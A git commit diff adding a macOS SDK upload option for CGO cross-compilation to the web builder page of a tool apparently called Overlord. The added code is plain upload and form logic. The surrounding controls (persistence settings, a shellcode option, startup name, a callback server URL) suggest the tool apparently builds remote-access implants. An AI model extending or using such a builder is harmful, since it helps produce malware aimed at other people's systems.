Add MAC CGO option.

This commit is contained in:
KingKDot
2026-07-15 23:26:41 -05:00
parent 9954d813c2
commit 5136a63e69
9 changed files with 403 additions and 7 deletions
+78
View File
@@ -46,12 +46,69 @@ const platformInputs = document.querySelectorAll('input[name="platform"]');
const buildPluginsSection = document.getElementById("build-plugins-section");
const buildPluginsList = document.getElementById("build-plugins-list");
const buildPluginsCount = document.getElementById("build-plugins-count");
const macosSdkUploadSection = document.getElementById("macos-sdk-upload-section");
const macosSdkFileInput = document.getElementById("macos-sdk-file");
const macosSdkRightsInput = document.getElementById("macos-sdk-rights");
const macosSdkFileStatus = document.getElementById("macos-sdk-file-status");
const macosSdkHostWarning = document.getElementById("macos-sdk-host-warning");
const macosSdkHostPlatform = document.getElementById("macos-sdk-host-platform");
let currentServerVersion = null;
let currentUserRole = null;
let currentUsername = null;
let showAllBuilds = false;
let buildPlugins = [];
let macosSdkRequiredForDarwinCgo = false;
let macosSdkServerHost = null;
async function loadMacosSdkStatus() {
try {
const res = await fetch("/api/build/macos-sdk/status", { credentials: "include" });
if (!res.ok) return;
const data = await res.json();
macosSdkRequiredForDarwinCgo = data.requiredForDarwinCgo === true;
macosSdkServerHost = typeof data.hostPlatform === "string" ? data.hostPlatform : null;
} catch {}
updateMacosSdkVisibility();
}
function needsMacosSdkUpload() {
const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked'))
.some((input) => input.value.startsWith("darwin-"));
return macosSdkRequiredForDarwinCgo && hasDarwin && !document.querySelector('input[name="disable-cgo"]')?.checked;
}
function updateMacosSdkVisibility() {
const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked'))
.some((input) => input.value.startsWith("darwin-"));
const cgoEnabled = !document.querySelector('input[name="disable-cgo"]')?.checked;
macosSdkUploadSection?.classList.toggle("hidden", !needsMacosSdkUpload());
const unsupportedHost = hasDarwin && cgoEnabled && !!macosSdkServerHost && macosSdkServerHost !== "linux" && macosSdkServerHost !== "darwin";
macosSdkHostWarning?.classList.toggle("hidden", !unsupportedHost);
if (macosSdkHostPlatform && unsupportedHost) macosSdkHostPlatform.textContent = macosSdkServerHost;
}
async function uploadMacosSdk() {
const file = macosSdkFileInput?.files?.[0];
if (!file) throw new Error("Select a macOS SDK archive for this Darwin CGO build");
if (!macosSdkRightsInput?.checked) throw new Error("Confirm that you have permission to use the uploaded macOS SDK");
if (file.size > 1024 * 1024 * 1024) throw new Error("macOS SDK archive exceeds the 1 GB limit");
if (macosSdkFileStatus) macosSdkFileStatus.textContent = `Uploading ${file.name} (${formatFileSize(file.size)})...`;
const res = await fetch("/api/build/macos-sdk/upload", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/octet-stream",
"X-Overlord-Filename": encodeURIComponent(file.name),
"X-Overlord-Sdk-Rights": "confirmed",
},
body: file,
});
const data = await res.json().catch(() => ({}));
if (!res.ok) throw new Error(data.error || "macOS SDK upload failed");
if (macosSdkFileStatus) macosSdkFileStatus.textContent = `${file.name} uploaded; validating during the build.`;
return data.uploadId;
}
async function loadSolRpcEndpoints() {
const field = document.getElementById("sol-rpc-endpoints");
@@ -895,6 +952,7 @@ restoreFormSettings();
initAccordions();
initBuilderTabs();
loadBuildPlugins();
loadMacosSdkStatus();
updateWindowsSectionVisibility();
updateShellcodeCheckboxVisibility();
init();
@@ -1073,6 +1131,13 @@ platformInputs.forEach((input) => {
input.addEventListener("change", updatePersistenceSettingsVisibility);
input.addEventListener("change", updateWindowsSectionVisibility);
input.addEventListener("change", updateIosSectionVisibility);
input.addEventListener("change", updateMacosSdkVisibility);
});
document.querySelector('input[name="disable-cgo"]')?.addEventListener("change", updateMacosSdkVisibility);
macosSdkFileInput?.addEventListener("change", () => {
const file = macosSdkFileInput.files?.[0];
if (macosSdkFileStatus && file) macosSdkFileStatus.textContent = `${file.name} selected (${formatFileSize(file.size)}).`;
});
document.getElementById("startup-name")?.addEventListener("input", validateStartupName);
@@ -1738,6 +1803,14 @@ form?.addEventListener("submit", async (e) => {
return;
}
if (needsMacosSdkUpload() && (!macosSdkFileInput?.files?.[0] || !macosSdkRightsInput?.checked)) {
alert(!macosSdkFileInput?.files?.[0]
? "Select a macOS SDK archive for this Darwin CGO build."
: "Confirm that you have permission to use the uploaded macOS SDK.");
macosSdkFileInput?.focus();
return;
}
const rawServerList = form.querySelector("#raw-server-list")?.checked || false;
const serverUrlRaw = form.querySelector("#server-url").value.trim();
const serverUrl = rawServerList ? serverUrlRaw : stripServerUrlPrefix(serverUrlRaw);
@@ -1919,6 +1992,11 @@ async function startBuild(config) {
addBuildOutput("Starting build process...\n", "info");
try {
if (needsMacosSdkUpload()) {
buildStatusText.textContent = "Uploading macOS SDK...";
addBuildOutput("Uploading user-provided macOS SDK...\n", "info");
config.macosSdkUploadId = await uploadMacosSdk();
}
const res = await fetch("/api/build/start", {
method: "POST",
headers: {
+23 -2
View File
@@ -407,11 +407,11 @@
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors">
<input type="checkbox" name="platform" value="darwin-amd64" class="w-4 h-4" />
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS x64</span>
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS x64 <span class="text-[10px] text-slate-500">SDK upload</span></span>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors">
<input type="checkbox" name="platform" value="darwin-arm64" class="w-4 h-4" />
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS ARM64</span>
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS ARM64 <span class="text-[10px] text-slate-500">SDK upload</span></span>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors">
<input type="checkbox" name="platform" value="freebsd-amd64" class="w-4 h-4" />
@@ -442,6 +442,27 @@
<span><i class="fa-brands fa-apple text-slate-200"></i> iOS Simulator x64</span>
</label>
</div>
<div id="macos-sdk-upload-section" class="hidden mt-3 p-4 bg-blue-950/30 border border-blue-700/60 rounded-lg">
<div class="flex items-start gap-3">
<i class="fa-brands fa-apple text-blue-300 mt-1"></i>
<div class="min-w-0 flex-1">
<label class="block text-sm font-medium text-slate-100" for="macos-sdk-file">Upload macOS SDK for CGO</label>
<p class="text-xs text-slate-400 mt-1">This Linux/Docker server needs your SDK to compile the selected macOS target with CGO. The upload is used once and deleted after the build.</p>
<input id="macos-sdk-file" type="file" accept=".tar,.tar.gz,.tgz,.tar.xz,.txz,application/x-tar,application/gzip,application/x-xz"
class="mt-3 block w-full text-sm text-slate-300 file:mr-3 file:rounded file:border-0 file:bg-blue-700 file:px-3 file:py-2 file:text-white hover:file:bg-blue-600" />
<p id="macos-sdk-file-status" class="text-xs text-slate-400 mt-1">Choose your <code>.tar.xz</code>, <code>.tar.gz</code>, or <code>.tar</code> archive (maximum 1 GB). It must contain <code>MacOSX*.sdk/System</code> and <code>MacOSX*.sdk/usr</code>.</p>
<label class="mt-3 flex items-start gap-2 text-xs text-slate-300 cursor-pointer">
<input id="macos-sdk-rights" type="checkbox" class="w-4 h-4 mt-0.5 shrink-0" />
<span>I confirm that I obtained this SDK lawfully and have permission to use it for this build.</span>
</label>
</div>
</div>
</div>
<div id="macos-sdk-host-warning" class="hidden mt-3 p-3 bg-amber-950/30 border border-amber-700/50 rounded-lg text-xs text-amber-300">
<i class="fa-solid fa-triangle-exclamation mr-1"></i>
SDK-assisted macOS CGO cross-compilation is available when the server runs on Linux/Docker. This server is running on <span id="macos-sdk-host-platform" class="font-mono"></span>.
</div>
</div>
</div>
</div>